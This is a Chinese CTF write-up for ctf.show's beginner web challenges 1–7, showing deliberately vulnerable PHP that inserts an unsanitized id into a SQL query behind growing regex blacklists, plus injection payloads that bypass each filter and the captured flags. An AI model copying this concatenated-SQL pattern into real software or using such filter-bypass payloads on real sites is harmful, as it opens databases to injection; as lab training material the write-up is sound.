CTFshow_萌新——WriteUp(二)

糊涂涂 2022-8-15 48 8/15

web1

代码很安全,没有漏洞。

打开环境,看到下面代码:

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

我们可以看出来题目已经明确告诉了我们,当id=1000时,获得flag,但是前面的判断条件是,当id>999时就会直接退出并且返回错误。我们首先应该了解一下intval()函数的运行方式。

所以我们可以选择好几种方式绕过:

?id='1000' //"1000"或(1000)皆可
?id=125<<3 //左移
?id=680|320 //按位或
?id=992^8 //按位异或
?id=~~1000 //两次取反
?id=0x3e8 //十六进制
?id=0b1111101000 //二进制
?id=999 or id=1000 //or传递两个id值

获得flag:

id: 1000 - title: CTFshowflag
ctfshow{64bdfe3d-5771-436b-be48-053fbb510c75}

web2

管理员赶紧修补了漏洞,这下应该没问题了吧?

打开环境:

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/or|\+/i",$id)){
            die("id error");
    }
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

和web1一样,只是这道题禁用了or所以我们还可以用剩下的几种来获得flag:

?id='1000' //"1000"或(1000)皆可
?id=125<<3 //左移
?id=680|320 //按位或
?id=992^8 //按位异或
?id=~~1000 //两次取反
?id=0x3e8 //十六进制
?id=0b1111101000 //二进制

得到flag:

id: 1000 - title: CTFshowflag
ctfshow{24e55088-9421-4174-b9ac-0147547587bc}

web3

管理员被狠狠的教育了,所以决定好好修复一番。这次没问题了。

打开题目:

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
            die("id error");
    }
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

和web1一样,只是这道题禁用了or,<,hex所以我们还可以用剩下的几种来获得flag:

?id='1000' //"1000"或(1000)皆可
?id=680|320 //按位或
?id=992^8 //按位异或
?id=~~1000 //两次取反
?id=0b1111101000 //二进制

得到flag:

ctfshow{9eb5799d-1294-4eab-adcd-9928aaccf132}

web4

管理员阿呆又失败了,这次一定要堵住漏洞

打开题目:

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

和上一题对我们的影响基本一样,但是?id=(1000)不能用了。还是一样的方式获取flag(可怜的阿呆,这次漏洞白补了):

ctfshow{776cfb60-a083-4579-81f6-4628d7aef4d7}

web5

阿呆被老板狂骂一通,决定改掉自己大意的毛病,痛下杀手,修补漏洞。

打开题目(只显示了限制条件):

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

这次阿呆禁用了我们的",',|,那还剩下这几个:

?id=992^8 //按位异或
?id=~~1000 //两次取反
?id=0b1111101000 //二进制

得到flag:

id: 1000 - title: CTFshowflag
ctfshow{c7797960-b10d-41e5-8ce5-ff024f62a128}

web6

阿呆一口老血差点噎死自己,决定杠上了

打开题目:

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

嗯,这次阿呆禁用了我们的^,还剩两个:

?id=~~1000 //两次取反
?id=0b1111101000 //二进制

获得flag:

id: 1000 - title: CTFshowflag
ctfshow{a6491f1e-b098-480c-a355-0ee7aec1e628}

web7

阿呆得到最高指示,如果还出问题,就卷铺盖滚蛋,阿呆心在流血。

打开题目:

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

这次~不能用了,只剩下二进制了:(阿呆对不住了)

?id=0b1111101000 //二进制

得到flag:

id: 1000 - title: CTFshowflag
ctfshow{62477720-51eb-4265-bec6-e29339104947}
- THE END -

糊涂涂

8月16日16:34

最后修改:2022年8月16日
0